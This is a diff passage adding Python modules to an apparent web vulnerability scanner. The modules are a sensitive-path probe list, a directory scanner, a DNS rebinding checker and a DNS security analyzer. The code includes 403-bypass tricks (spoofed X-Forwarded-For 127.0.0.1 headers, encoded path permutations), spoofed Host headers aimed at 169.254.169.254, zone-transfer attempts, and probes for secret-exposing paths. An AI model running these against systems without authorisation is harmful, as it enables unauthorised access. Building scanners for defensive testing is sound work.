+    ("/package.json",           "NPM Config Exposed",              "Medium",   5.3,
+     "NPM package.json is accessible, revealing dependencies and scripts.",
+     "Move package.json outside web root."),
+
+    ("/package-lock.json",      "NPM Lock Exposed",               "Low",      3.1,
+     "NPM lock file is accessible.",
+     "Move package-lock.json outside web root."),
+
+    ("/Gemfile",                "Ruby Gemfile Exposed",             "Medium",   5.3,
+     "Ruby Gemfile is accessible, revealing dependencies.",
+     "Move Gemfile outside web root."),
+
+    ("/Gemfile.lock",           "Gemfile Lock Exposed",            "Low",      3.1,
+     "Ruby Gemfile.lock is accessible.",
+     "Move Gemfile.lock outside web root."),
+
+    ("/requirements.txt",       "Python Requirements Exposed",     "Medium",   5.3,
+     "Python requirements.txt is accessible, revealing dependencies.",
+     "Move requirements.txt outside web root."),
+
+    ("/Pipfile",                "Pipfile Exposed",                 "Medium",   5.3,
+     "Python Pipfile is accessible.",
+     "Move Pipfile outside web root."),
+
+    ("/go.mod",                 "Go Module Exposed",                "Medium",   5.3,
+     "Go module file is accessible.",
+     "Move go.mod outside web root."),
+
+    # CMS Specific
+    ("/wp-content/",            "WordPress Content Exposed",       "Low",      3.1,
+     "WordPress wp-content directory is accessible.",
+     "Restrict access to wp-content."),
+
+    ("/wp-includes/",           "WordPress Includes Exposed",      "Low",      3.1,
+     "WordPress wp-includes directory is accessible.",
+     "Restrict access to wp-includes."),
+
+    ("/wp-content/uploads/",    "WordPress Uploads Exposed",       "Low",      3.1,
+     "WordPress uploads directory is accessible.",
+     "Ensure uploads directory has proper permissions."),
+
+    ("/drupal/",                "Drupal Directory Exposed",         "Low",      3.1,
+     "Drupal directory is accessible.",
+     "Restrict access to Drupal directories."),
+
+    ("/sites/default/files/",   "Drupal Files Exposed",            "Low",      3.1,
+     "Drupal files directory is accessible.",
+     "Restrict access to files directory."),
+
+    ("/magento/",               "Magento Directory Exposed",        "Low",      3.1,
+     "Magento directory is accessible.",
+     "Restrict access to Magento directories."),
+
+    ("/media/",                 "Media Directory Exposed",          "Low",      3.1,
+     "Media directory is accessible.",
+     "Ensure media directory has proper permissions."),
+
+    ("/static/",                "Static Files Exposed",            "Low",      3.1,
+     "Static files directory is accessible.",
+     "Ensure static directory has proper permissions."),
+
+    ("/public/",                "Public Directory Exposed",        "Low",      3.1,
+     "Public directory is accessible.",
+     "Review contents of public directory."),
+
+    ("/tmp/",                   "Temp Directory Exposed",           "Medium",   5.3,
+     "Temporary directory is accessible.",
+     "Remove temp directory from web root."),
+
+    ("/temp/",                  "Temp Directory Exposed",           "Medium",   5.3,
+     "Temporary directory is accessible.",
+     "Remove temp directory from web root."),
+
+    ("/cache/",                 "Cache Directory Exposed",          "Medium",   5.3,
+     "Cache directory is accessible.",
+     "Restrict access to cache directory."),
+
+    ("/storage/",               "Storage Directory Exposed",        "Medium",   5.3,
+     "Storage directory is accessible.",
+     "Restrict access to storage directory."),
+
+    ("/uploads/",               "Uploads Directory Exposed",        "Medium",   5.3,
+     "Uploads directory is accessible.",
+     "Ensure uploads directory has proper permissions and restrictions."),
+
+    ("/files/",                 "Files Directory Exposed",          "Medium",   5.3,
+     "Files directory is accessible.",
+     "Restrict access to files directory."),
+
+    ("/install.php",            "Install Script Exposed",          "High",     7.5,
+     "Installation script is publicly accessible.",
+     "Remove install.php from production."),
+
+    ("/install/",               "Install Directory Exposed",        "High",     7.5,
+     "Installation directory is accessible.",
+     "Remove install directory from production."),
+
+    ("/setup.php",              "Setup Script Exposed",            "High",     7.5,
+     "Setup script is publicly accessible.",
+     "Remove setup.php from production."),
+
+    ("/upgrade.php",            "Upgrade Script Exposed",          "High",     7.5,
+     "Upgrade script is publicly accessible.",
+     "Remove upgrade.php from production."),
+
+    ("/maintenance.php",        "Maintenance Script Exposed",     "Medium",   5.3,
+     "Maintenance script is publicly accessible.",
+     "Restrict access to maintenance scripts."),
+
+    ("/robots.txt",             "Robots.txt Exposed",             "Low",      3.1,
+     "Robots.txt is accessible, revealing site structure.",
+     "Review robots.txt for information disclosure."),
+
+    ("/sitemap.xml",            "Sitemap Exposed",                 "Low",      3.1,
+     "Sitemap is accessible, revealing site structure.",
+     "Review sitemap for sensitive information."),
+
+    ("/crossdomain.xml",        "Crossdomain Policy Exposed",     "Low",      3.1,
+     "Crossdomain policy file is accessible.",
+     "Review crossdomain policy for security."),
+
+    ("/clientaccesspolicy.xml", "Silverlight Policy Exposed",      "Low",      3.1,
+     "Silverlight client access policy is accessible.",
+     "Review client access policy."),
+
+    ("/.well-known/",           "Well-Known Directory Exposed",    "Low",      3.1,
+     "Well-known directory is accessible.",
+     "Review .well-known directory contents."),
+
+    ("/.well-known/acme-challenge/", "ACME Challenge Exposed", "Low", 3.1,
+     "ACME challenge directory is accessible.",
+     "Ensure ACME challenge directory is properly secured."),
+
+    # Additional paths (30+ more)
+    ("/login",                  "Login Page Exposed",              "Low",      3.1,
+     "A login page is publicly accessible.",
+     "Implement rate limiting and account lockout."),
+
+    ("/signup",                 "Signup Page Exposed",             "Low",      3.1,
+     "A registration page is publicly accessible.",
+     "Implement CAPTCHA and email verification."),
+
+    ("/register",               "Registration Exposed",            "Low",      3.1,
+     "A registration page is publicly accessible.",
+     "Implement CAPTCHA and email verification."),
+
+    ("/api",                    "API Endpoint Exposed",            "Low",      3.1,
+     "An API endpoint is publicly accessible.",
+     "Implement authentication on all API endpoints."),
+
+    ("/api/",                   "API Directory Exposed",           "Low",      3.1,
+     "API directory listing may be enabled.",
+     "Disable directory listing on API directories."),
+
+    ("/api/v1",                 "API v1 Endpoint Exposed",         "Low",      3.1,
+     "API version 1 endpoint is publicly accessible.",
+     "Implement authentication and rate limiting."),
+
+    ("/api/v2",                 "API v2 Endpoint Exposed",         "Low",      3.1,
+     "API version 2 endpoint is publicly accessible.",
+     "Implement authentication and rate limiting."),
+
+    ("/dev",                    "Development Interface Exposed",   "High",     7.5,
+     "A development interface is publicly accessible.",
+     "Restrict dev interfaces to internal networks."),
+
+    ("/staging",                "Staging Environment Exposed",     "High",     7.5,
+     "A staging environment is publicly accessible. Staging often has weaker security.",
+     "Restrict staging access to internal networks."),
+
+    ("/health",                 "Health Check Exposed",            "Low",      3.1,
+     "A health check endpoint is publicly accessible.",
+     "Restrict health checks to internal monitoring systems."),
+
+    ("/healthz",                "Health Check Exposed",            "Low",      3.1,
+     "A health check endpoint is publicly accessible.",
+     "Restrict health checks to internal monitoring systems."),
+
+    ("/actuator",               "Spring Boot Actuator Exposed",   "High",     7.5,
+     "Spring Boot Actuator endpoints are exposed, revealing application internals, metrics, and environment.",
+     "Disable Actuator in production or secure with authentication:\n  management.endpoints.web.exposure.exclude=*"),
+
+    ("/actuator/health",        "Spring Boot Health Exposed",      "Low",      3.1,
+     "Spring Boot health endpoint is accessible.",
+     "Restrict Actuator endpoints to internal networks."),
+
+    ("/actuator/env",           "Spring Boot Env Exposed",        "Critical", 9.8,
+     "Spring Boot environment endpoint exposes all environment variables including secrets.",
+     "Disable sensitive Actuator endpoints in production."),
+
+    ("/actuator/actuator",      "Spring Boot Actuator Exposed",    "High",     7.5,
+     "Spring Boot Actuator is exposed.",
+     "Secure Actuator endpoints."),
+
+    ("/swagger-ui.html",        "Swagger UI Exposed",              "Medium",   5.3,
+     "Swagger UI documentation is publicly accessible.",
+     "Restrict Swagger UI to internal networks."),
+
+    ("/swagger/",               "Swagger Endpoint Exposed",        "Medium",   5.3,
+     "Swagger API documentation endpoint is accessible.",
+     "Restrict Swagger to authenticated users."),
+
+    ("/api/swagger",            "API Swagger Exposed",             "Medium",   5.3,
+     "API Swagger documentation is accessible.",
+     "Restrict Swagger to internal networks."),
+
+    ("/api/v1/swagger",         "API v1 Swagger Exposed",          "Medium",   5.3,
+     "API version 1 Swagger docs are accessible.",
+     "Restrict Swagger to internal networks."),
+
+    ("/config/",                "Config Directory Exposed",        "High",     7.5,
+     "Configuration directory is accessible, potentially exposing config files.",
+     "Restrict access to configuration directories."),
+
+    ("/config.js",              "JS Config Exposed",               "High",     7.5,
+     "JavaScript configuration file is accessible, potentially exposing API keys.",
+     "Move configuration from JS files to server-side."),
+
+    ("/config.json",            "JSON Config Exposed",             "High",     7.5,
+     "JSON configuration file is publicly accessible.",
+     "Restrict access to configuration files."),
+
+    ("/configuration",          "Configuration Endpoint Exposed",  "High",     7.5,
+     "Configuration endpoint is publicly accessible.",
+     "Restrict configuration endpoints."),
+
+    ("/debug",                  "Debug Endpoint Exposed",         "Medium",   5.3,
+     "A debug endpoint is publicly accessible, revealing application internals.",
+     "Remove debug endpoints from production."),
+
+    ("/telescope",              "Laravel Telescope Exposed",      "High",     7.5,
+     "Laravel Telescope debug dashboard is publicly accessible.",
+     "Restrict Telescope access in production."),
+
+    ("/vapor",                  "Laravel Vapor Exposed",           "Medium",   5.3,
+     "Laravel Vapor UI is publicly accessible.",
+     "Restrict Vapor access to authorized users."),
+
+    ("/nova",                   "Laravel Nova Exposed",           "Medium",   5.3,
+     "Laravel Nova admin panel is publicly accessible.",
+     "Restrict Nova access to authorized IPs."),
+
+    ("/horizon",                "Laravel Horizon Exposed",        "Medium",   5.3,
+     "Laravel Horizon queue monitoring is publicly accessible.",
+     "Restrict Horizon access to authorized users."),
+
+    ("/queues",                 "Queue Manager Exposed",           "Medium",   5.3,
+     "Queue management interface is publicly accessible.",
+     "Restrict queue management interfaces."),
+
+    ("/metrics",                "Metrics Endpoint Exposed",        "Low",      3.1,
+     "Application metrics endpoint is publicly accessible.",
+     "Restrict metrics to internal monitoring."),
+
+    ("/prometheus",             "Prometheus Metrics Exposed",      "Low",      3.1,
+     "Prometheus metrics endpoint is publicly accessible.",
+     "Restrict Prometheus metrics to internal networks."),
+
+    ("/sitemap",                "Sitemap Endpoint Exposed",         "Low",      3.1,
+     "Sitemap endpoint is accessible.",
+     "Review sitemap for sensitive URLs."),
+
+    ("/sitemap_index.xml",      "Sitemap Index Exposed",           "Low",      3.1,
+     "Sitemap index file is accessible.",
+     "Review sitemap for sensitive information."),
+
+    ("/cgi-bin/",               "CGI Bin Exposed",                "High",     7.5,
+     "CGI bin directory is accessible, potentially allowing remote code execution.",
+     "Disable CGI if not needed. Restrict access to /cgi-bin/."),
+
+    ("/cgi-bin/test.cgi",       "CGI Test Script Exposed",        "High",     7.5,
+     "CGI test script is publicly accessible.",
+     "Remove test CGI scripts from production."),
+
+    ("/.npmrc",                 "NPM RC Exposed",                  "Medium",   5.3,
+     "NPM configuration file is accessible, potentially containing registry auth tokens.",
+     "Remove .npmrc from web root."),
+
+    ("/.yarnrc",                "Yarn RC Exposed",                 "Medium",   5.3,
+     "Yarn configuration file is accessible.",
+     "Remove .yarnrc from web root."),
+
+    ("/web.config",             "IIS Web Config Exposed",          "Medium",   5.3,
+     "IIS web.config configuration file is accessible.",
+     "Restrict access to web.config."),
+
+    ("/web.xml",                "Java Web XML Exposed",            "Medium",   5.3,
+     "Java web.xml configuration file is accessible.",
+     "Restrict access to web.xml."),
+
+    ("/struts/",                "Apache Struts Exposed",           "High",     7.5,
+     "Apache Struts framework endpoint is accessible.",
+     "Upgrade Struts to latest version."),
+
+    ("/axis2/",                 "Axis2 Web Service Exposed",       "Medium",   5.3,
+     "Apache Axis2 web service is accessible.",
+     "Restrict access to Axis2."),
+
+    ("/ws/",                    "Web Service Exposed",             "Medium",   5.3,
+     "Web service endpoint is accessible.",
+     "Restrict access to web services."),
+
+    ("/soap/",                  "SOAP API Exposed",                "Medium",   5.3,
+     "SOAP API endpoint is publicly accessible.",
+     "Implement authentication on SOAP endpoints."),
+
+    ("/index.php",              "PHP Index Exposed",               "Low",      3.1,
+     "PHP index file is accessible.",
+     "Ensure proper configuration."),
+
+    ("/index.html",             "HTML Index Exposed",              "Low",      3.1,
+     "HTML index file is accessible.",
+     "Ensure proper configuration."),
+
+    ("/index.jsp",              "JSP Index Exposed",               "Low",      3.1,
+     "JSP index file is accessible.",
+     "Ensure proper configuration."),
+
+    ("/default.aspx",           "ASP.NET Default Exposed",         "Low",      3.1,
+     "ASP.NET default page is accessible.",
+     "Ensure proper configuration."),
+
+    ("/default.asp",            "ASP Default Exposed",             "Low",      3.1,
+     "ASP default page is accessible.",
+     "Ensure proper configuration."),
+]
+
+
+class DirectoryScanner(BaseScanner):
+    SCANNER_NAME = "Sensitive Directory & File Scanner"
+    _SCANNER_KEY = "directory"
+
+    def _bypass_403(self, url, path):
+        bypass_headers = [
+            {"X-Forwarded-For": "127.0.0.1"},
+            {"X-Originating-IP": "127.0.0.1"},
+            {"X-Remote-IP": "127.0.0.1"},
+            {"X-Custom-IP-Authorization": "127.0.0.1"},
+            {"Client-IP": "127.0.0.1"},
+            {"X-Forwarded-Host": "127.0.0.1"}
+        ]
+
+        bypass_paths = [
+            path.replace("/", "//", 1),
+            path.replace("/", "/%2e/", 1),
+            f"{path}/.",
+            f"{path}%20",
+            f"{path}%00",
+            f"{path}..;/"
+        ]
+
+        base = self.target.rstrip("/")
+
+        for headers in bypass_headers:
+            headers["User-Agent"] = "LarShield/2.0 Bypass"
+            body, status, _ = self._make_request(
+                url, headers=headers, timeout=5, return_response_obj=True,
+            )
+            if status == 200:
+                return True, f"Header Bypass ({list(headers.keys())[0]})"
+
+        for b_path in bypass_paths:
+            b_url = f"{base}{b_path}"
+            body, status, _ = self._make_request(
+                b_url, timeout=5, return_response_obj=True,
+            )
+            if status == 200:
+                return True, f"Path Permutation ({b_path})"
+
+        return False, None
+
+    def _classify_status(self, status):
+        if status == 200:
+            return "exposed"
+        elif status in (301, 302, 307, 308):
+            return "redirect"
+        elif status == 401:
+            return "auth_required"
+        elif status == 403:
+            return "forbidden"
+        elif status in (404, 410):
+            return "not_found"
+        elif status == 429:
+            return "rate_limited"
+        elif status in (500, 502, 503):
+            return "server_error"
+        return "unknown"
+
+    def run(self):
+        self.log("INFO", f"[DirScan] Scanning {len(SENSITIVE_PATHS)} sensitive paths on {self.domain}...")
+        exposed_count = 0
+        base = self.target.rstrip("/")
+
+        requests_list = []
+        for path, title, severity, cvss, description, remediation in SENSITIVE_PATHS:
+            url = f"{base}{path}"
+            req = {
+                "url": url,
+                "headers": {"User-Agent": "LarShield/2.0"},
+                "timeout": 6,
+                "_meta": (path, title, severity, cvss, description, remediation),
+            }
+            requests_list.append(req)
+
+        results = self._make_async_requests(requests_list, max_workers=20)
+
+        for req, body, status in results:
+            meta = req.get("_meta")
+            if not meta:
+                continue
+            path, title, severity, cvss, description, remediation = meta
+            url = req["url"]
+
+            classification = self._classify_status(status)
+
+            if classification == "exposed":
+                content_len = len(body) if body else 0
+                if content_len > 5:
+                    # PHASE 1: Suppress if response is the site's SPA/404 catch-all
+                    if self._is_baseline(status, body):
+                        self.log("INFO", f"[DirScan] SUPPRESSED (baseline match, {content_len}B): {url}")
+                    else:
+                        lvl = "CRITICAL" if cvss >= 9.0 else "WARNING"
+                        self.log(lvl, f"[DirScan] EXPOSED (HTTP {status}, {content_len}B): {url}")
+                        self.add_vuln(
+                            title=title, severity=severity, category="Exposed Files",
+                            cvss_score=cvss,
+                            description=f"{description}\n\nExposed at: {url}",
+                            remediation=remediation,
+                            evidence=f"HTTP {status}, {content_len} bytes",
+                            response_details=f"HTTP {status} - {classification}",
+                            confidence="Confirmed",
+                        )
+                        exposed_count += 1
+            elif classification == "redirect":
+                self.log("INFO", f"[DirScan] Redirect (HTTP {status}): {url}")
+            elif classification == "auth_required":
+                self.log("INFO", f"[DirScan] Auth required (HTTP {status}): {url}")
+            elif classification == "forbidden":
+                bypassed, method = self._bypass_403(url, path)
+                if bypassed:
+                    self.log("CRITICAL", f"[DirScan] 403 BYPASSED ({method}): {url}")
+                    self.add_vuln(
+                        title=title, severity=severity, category="Exposed Files",
+                        cvss_score=cvss,
+                        description=f"{description}\n\nExposed at: {url}\nBypass method: {method}",
+                        remediation=remediation,
+                        evidence=f"403 bypassed via {method}",
+                        response_details=f"HTTP 403 bypassed to 200",
+                        confidence="Confirmed",
+                    )
+                    exposed_count += 1
+                else:
+                    self.log("INFO", f"[DirScan] Protected (HTTP {status}): {url} \u2714")
+            elif classification == "rate_limited":
+                self.log("WARNING", f"[DirScan] Rate limited (HTTP {status}): {url}")
+            elif classification == "not_found":
+                self.log("SUCCESS", f"[DirScan] Not found: {path} \u2714")
+            else:
+                self.log("INFO", f"[DirScan] Status {status}: {url}")
+
+        self.log("SUCCESS" if exposed_count == 0 else "WARNING",
+                 f"[DirScan] Scan complete. {exposed_count} exposed path(s) found.")
+        return self.vulns

backend/scanners/dns_rebinding_scanner.py

@@ -0,0 +1,267 @@
+"""
+dns_rebinding_scanner.py — DNS Rebinding Scanner
+=================================================
+Expert-grade rewrite (GAP-011 fix):
+  1. Real TTL check via low-level DNS query (struct-based) + socket fallback
+  2. Multiple resolution comparison with jitter guard (avoids CDN false positives)
+  3. Host header validation check (actual defense verification)
+  4. Private IP detection on resolved addresses
+  5. CORS + DNS rebinding chain check
+"""
+import socket, time, struct
+import urllib.parse
+from scanners.base_scanner import BaseScanner
+
+# TTL threshold — anything below this is a rebinding risk
+LOW_TTL_THRESHOLD = 30  # seconds
+
+# Private IP ranges to check resolved IPs against
+import ipaddress
+PRIVATE_NETWORKS = [
+    ipaddress.ip_network("10.0.0.0/8"),
+    ipaddress.ip_network("172.16.0.0/12"),
+    ipaddress.ip_network("192.168.0.0/16"),
+    ipaddress.ip_network("127.0.0.0/8"),
+    ipaddress.ip_network("169.254.0.0/16"),
+]
+
+
+def _is_private(ip_str: str) -> bool:
+    try:
+        ip = ipaddress.ip_address(ip_str)
+        return any(ip in net for net in PRIVATE_NETWORKS)
+    except ValueError:
+        return False
+
+
+def _query_dns_ttl(hostname: str, timeout: float = 3.0) -> int | None:
+    """
+    Perform a raw DNS UDP query to get the actual TTL from the A record.
+    Returns TTL in seconds, or None if the query fails.
+    This avoids relying on the OS DNS cache (which resets TTL).
+    """
+    try:
+        # Build minimal DNS query for A record
+        qname = b""
+        for label in hostname.encode().split(b"."):
+            qname += bytes([len(label)]) + label
+        qname += b"\x00"  # root label
+
+        # Random transaction ID
+        txid = b"\xab\xcd"
+        header = txid + b"\x01\x00"  # QR=0, OPCODE=0, RD=1
+        header += b"\x00\x01"        # QDCOUNT=1
+        header += b"\x00\x00\x00\x00\x00\x00"  # ANCOUNT NSCOUNT ARCOUNT = 0
+        question = qname + b"\x00\x01\x00\x01"  # QTYPE=A QCLASS=IN
+
+        packet = header + question
+
+        with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
+            s.settimeout(timeout)
+            s.connect(("8.8.8.8", 53))
+            s.send(packet)
+            response = s.recv(4096)
+
+        # Parse answer section — skip header (12 bytes) + question section
+        # Answer section starts after the question section
+        # Question section = qname + 4 bytes (qtype + qclass)
+        q_offset = 12 + len(qname) + 4
+        if len(response) < q_offset + 12:
+            return None
+
+        # Parse first answer record
+        # NAME (2 bytes compressed ptr), TYPE (2), CLASS (2), TTL (4), RDLENGTH (2)
+        ans_offset = q_offset
+        # Handle compressed name pointer (0xC0 xx)
+        if response[ans_offset] & 0xC0 == 0xC0:
+            ans_offset += 2
+        else:
+            # Walk the name
+            while ans_offset < len(response) and response[ans_offset] != 0:
+                ans_offset += response[ans_offset] + 1
+            ans_offset += 1
+
+        if ans_offset + 10 > len(response):
+            return None
+
+        rtype, rclass, ttl = struct.unpack("!HHI", response[ans_offset:ans_offset + 8])
+        if rtype == 1:  # A record
+            return ttl
+        return None
+    except Exception as e:
+        print(f"ERROR: [DNSRebind] _query_dns_ttl error: {e}")
+        return None
+
+
+class DnsRebindingScanner(BaseScanner):
+    SCANNER_NAME = "DNS Rebinding Scanner"
+    _SCANNER_KEY = "dns_rebinding"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[DNSRebind] Checking DNS rebinding for {self.domain}...")
+
+        # 1. Check actual DNS TTL via raw query
+        self._check_ttl()
+
+        # 2. Check if resolved IP is in a private range (misconfigured DNS)
+        self._check_private_ip_resolution()
+
+        # 3. Verify Host header validation (actual defense)
+        self._check_host_header_validation()
+
+        # 4. Multi-resolution instability check with jitter guard
+        self._check_resolution_instability()
+
+        if not self.vulns:
+            self.log("SUCCESS", "[DNSRebind] No DNS rebinding indicators found.")
+        return self.vulns
+
+    # ── 1. TTL check ──────────────────────────────────────────────────────
+    def _check_ttl(self):
+        ttl = _query_dns_ttl(self.domain)
+        if ttl is None:
+            self.log("INFO", f"[DNSRebind] Could not retrieve TTL for {self.domain} (raw DNS query).")
+            return
+        self.log("INFO", f"[DNSRebind] TTL for {self.domain}: {ttl}s")
+        if ttl < LOW_TTL_THRESHOLD:
+            self.add_vuln(
+                title=f"DNS Rebinding Risk — Extremely Low TTL ({ttl}s)",
+                severity="Medium",
+                category="DNS Rebinding",
+                cvss_score=5.3,
+                confidence="High",
+                references=["https://attack.mitre.org/techniques/T1557/"],
+                description=(
+                    f"The domain `{self.domain}` has a DNS TTL of **{ttl} seconds**, "
+                    f"well below the safe minimum of {LOW_TTL_THRESHOLD}s.\n\n"
+                    "A low TTL allows an attacker to:\n"
+                    "1. Have the victim visit their domain (resolves to attacker IP)\n"
+                    "2. Quickly re-point the DNS to `127.0.0.1` or a private IP\n"
+                    "3. Browser's Same-Origin Policy now allows the page to make requests "
+                    "to `localhost` (bypassing SSRF filters)\n\n"
+                    "This enables reading internal APIs, attacking localhost services, "
+                    "and bypassing IP-based access controls."
+                ),
+                remediation=(
+                    f"1. Set DNS TTL to at least 300 seconds (5 minutes) for all A/AAAA records.\n"
+                    "2. Implement **DNS pinning** in your HTTP client/browser.\n"
+                    "3. Validate the `Host` header against a strict allowlist on every request.\n"
+                    "4. Reject requests from private/loopback IPs at the load balancer level."
+                ),
+            )
+
+    # ── 2. Private IP resolution ──────────────────────────────────────────
+    def _check_private_ip_resolution(self):
+        try:
+            infos = socket.getaddrinfo(self.domain, 443)
+            ips = {info[4][0] for info in infos}
+            for ip in ips:
+                if _is_private(ip):
+                    self.add_vuln(
+                        title=f"DNS Resolves to Private IP — Rebinding Risk ({ip})",
+                        severity="High",
+                        category="DNS Rebinding",
+                        cvss_score=7.5,
+                        confidence="Confirmed",
+                        description=(
+                            f"The domain `{self.domain}` resolves to `{ip}`, "
+                            "which is a **private/internal IP address**.\n\n"
+                            "This directly enables DNS rebinding: if the browser trusted this "
+                            "domain, it can now make cross-origin requests to internal services "
+                            "as if coming from the same origin."
+                        ),
+                        remediation=(
+                            "1. Never configure public domain names to resolve to private IP addresses.\n"
+                            "2. Use split-horizon DNS — separate internal and external DNS views.\n"
+                            "3. Block DNS responses resolving to private ranges (DNS firewall)."
+                        ),
+                    )
+        except Exception as e:
+            self.log("INFO", f"[DNSRebind] DNS resolution error: {e}")
+
+    # ── 3. Host header validation ─────────────────────────────────────────
+    def _check_host_header_validation(self):
+        """
+        Check if the server validates the Host header.
+        Send requests with a spoofed Host header — if the server responds normally,
+        it doesn't validate Host (weak rebinding defense).
+        """
+        parsed = urllib.parse.urlparse(self.target)
+        spoofed_hosts = [
+            "127.0.0.1",
+            "localhost",
+            "169.254.169.254",
+            f"evil.{self.domain}",
+        ]
+        for spoofed in spoofed_hosts:
+            resp, status = self._make_request(self.target, headers={"Host": spoofed})
+            if resp and status == 200:
+                self.log("WARNING",
+                    f"[DNSRebind] Server accepted spoofed Host header: {spoofed} (status 200)")
+                self.add_vuln(
+                    title="Weak Host Header Validation — DNS Rebinding Facilitator",
+                    severity="Medium",
+                    category="DNS Rebinding",
+                    cvss_score=4.3,
+                    confidence="High",
+                    description=(
+                        f"The server returned HTTP 200 when the `Host` header was set to "
+                        f"`{spoofed}` instead of the legitimate domain.\n\n"
+                        "Proper Host header validation is the **primary defense** against DNS rebinding. "
+                        "Without it, a rebinding attack can successfully pivot the browser "
+                        "to access internal services."
+                    ),
+                    remediation=(
+                        "1. Validate the `Host` header against a strict allowlist of known domains.\n"
+                        "2. In nginx: define `server_name` explicitly and use `default_server` to reject unknowns.\n"
+                        "3. In Express: use `vhost` middleware or validate `req.hostname`.\n"
+                        "4. Reject requests with `Host` set to IP addresses or unrecognized domains."
+                    ),
+                )
+                return  # One finding is enough
+
+    # ── 4. Resolution instability (with jitter guard) ─────────────────────
+    def _check_resolution_instability(self):
+        """
+        Resolve domain 5 times with 2s gaps.
+        Only flag if ALL resolutions differ — single CDN rotation is normal.
+        GAP-011: 1-second sleep caused massive false positives on CDNs.
+        """
+        results = []
+        for _ in range(5):
+            try:
+                ips = {info[4][0] for info in socket.getaddrinfo(self.domain, 443)}
+                results.append(frozenset(ips))
+            except Exception as e:
+                self.log("ERROR", f"[DNSRebind] resolution check error: {e}")
+            time.sleep(2)
+
+        if len(results) < 3:
+            return
+
+        # If every resolution returned a different set, that's suspicious
+        unique_sets = set(results)
+        if len(unique_sets) == len(results) and len(results) >= 3:
+            self.log("WARNING",
+                f"[DNSRebind] Domain resolved to a different IP on every check — "
+                f"possible rapid DNS rebinding. Results: {[set(r) for r in results]}")
+            self.add_vuln(
+                title="DNS Resolution Instability — Possible DNS Rebinding",
+                severity="Low",
+                category="DNS Rebinding",
+                cvss_score=3.1,
+                confidence="Medium",
+                description=(
+                    f"The domain `{self.domain}` resolved to a different IP address "
+                    f"on each of {len(results)} consecutive checks (2s apart), "
+                    "which is unusual and may indicate rapid DNS record rotation "
+                    "consistent with DNS rebinding infrastructure."
+                ),
+                remediation=(
+                    "Investigate whether the DNS operator is intentionally rotating records. "
+                    "Set minimum TTL to 300s. Implement DNS pinning."
+                ),
+            )

backend/scanners/dns_security_scanner.py

@@ -0,0 +1,279 @@
+"""
+dns_security_scanner.py — DNS security analysis using DNSPython.
+Performs comprehensive DNS security checks including zone transfer, DNSSEC, and record analysis.
+"""
+import dns.resolver, dns.query, dns.message, dns.rdatatype
+from scanners.base_scanner import BaseScanner
+
+class DNSSecurityScanner(BaseScanner):
+    SCANNER_NAME = "DNS Security Analyzer"
+
+    def run(self):
+        self.log("INFO", f"[DNS Security] Starting comprehensive DNS analysis for {self.domain}...")
+        
+        # Perform various DNS security checks
+        self._check_zone_transfer()
+        self._check_dnssec()
+        self._check_mx_records()
+        self._check_spf()
+        self._check_dmarc()
+        self._check_wildcard_dns()
+        self._check_dns_cache_poisoning()
+        self._check_caa_records()
+        
+        self.log("SUCCESS", "[DNS Security] DNS analysis complete.")
+        return self.vulns
+
+    def _check_zone_transfer(self):
+        """Check for DNS zone transfer vulnerability."""
+        self.log("INFO", "[DNS Security] Checking for zone transfer vulnerability...")
+        
+        try:
+            # Get authoritative nameservers
+            ns_answers = dns.resolver.resolve(self.domain, 'NS')
+            nameservers = [rdata.target.to_text().rstrip('.') for rdata in ns_answers]
+            
+            for ns in nameservers[:2]:  # Check first 2 nameservers only (faster)
+                try:
+                    # Attempt AXFR (zone transfer) — short timeout for speed
+                    zone_query = dns.query.xfr(ns, self.domain, timeout=5)
+                    zone_response = next(zone_query)
+                    
+                    if zone_response:
+                        self.log("CRITICAL", f"[DNS Security] ZONE TRANSFER VULNERABLE on {ns}!")
+                        self.add_vuln(
+                            title="DNS Zone Transfer Vulnerability",
+                            severity="Critical", category="DNS Security", cvss_score=9.8,
+                            description=f"DNS zone transfer (AXFR) is allowed from {ns}. This exposes all DNS records including internal hostnames, mail servers, and other sensitive infrastructure details.",
+                            remediation="Disable zone transfers to unauthorized servers:\n  BIND: allow-transfer { trusted_ips; };\n  Ensure only authorized secondary nameservers can perform AXFR."
+                        )
+                        return  # Found vulnerability, no need to check others
+                except dns.exception.DNSException:
+                    # Expected if zone transfer is disabled
+                    pass
+                except OSError as e:
+                    # Network-level errors (timeout, connection refused) are expected
+                    err_msg = str(e).strip()
+                    if err_msg:
+                        self.log("DEBUG", f"[DNS Security] Zone transfer network error on {ns}: {err_msg}")
+                except Exception as e:
+                    err_msg = str(e).strip()
+                    if err_msg:
+                        self.log("DEBUG", f"[DNS Security] Nameserver query error on {ns}: {err_msg}")
+            
+            self.log("SUCCESS", "[DNS Security] Zone transfer properly secured.")
+            
+        except dns.resolver.NoNameservers:
+            self.log("WARNING", "[DNS Security] Could not retrieve nameservers.")
+        except Exception as e:
+            self.log("WARNING", f"[DNS Security] Zone transfer check failed: {e}")
+
+    def _check_dnssec(self):
+        """Check for DNSSEC implementation."""
+        self.log("INFO", "[DNS Security] Checking DNSSEC implementation...")
+        
+        try:
+            # Check for DNSKEY records
+            dnskey_answers = dns.resolver.resolve(self.domain, 'DNSKEY')
+            if dnskey_answers:
+                self.log("SUCCESS", "[DNS Security] DNSSEC is implemented.")
+                return
+        except dns.resolver.NoAnswer:
+            pass
+        except Exception as e:
+            self.log("ERROR", f"[DNS Security] DNSKEY query error: {e}")
+        
+        self.log("WARNING", "[DNS Security] DNSSEC not implemented.")
+        self.add_vuln(
+            title="DNSSEC Not Implemented",
+            severity="Medium", category="DNS Security", cvss_score=5.3,
+            description=f"The domain {self.domain} does not have DNSSEC implemented. This makes it vulnerable to DNS cache poisoning and spoofing attacks.",
+            remediation="Implement DNSSEC:\n  1. Generate DNSSEC keys\n  2. Sign your zone files\n  3. Upload DS records to your registrar\n  4. Verify with: dig +dnssec {self.domain}"
+        )
+
+    def _check_mx_records(self):
+        """Check MX records for security issues."""
+        self.log("INFO", "[DNS Security] Analyzing MX records...")
+        
+        try:
+            mx_answers = dns.resolver.resolve(self.domain, 'MX')
+            mx_servers = [rdata.exchange.to_text().rstrip('.') for rdata in mx_answers]
+            
+            if mx_servers:
+                self.log("SUCCESS", f"[DNS Security] MX Records: {', '.join(mx_servers[:3])}")
+                
+                # Check for common mail server security issues
+                for mx in mx_servers:
+                    # Check if MX points to IP directly (bad practice)
+                    if mx.replace('.', '').isdigit():
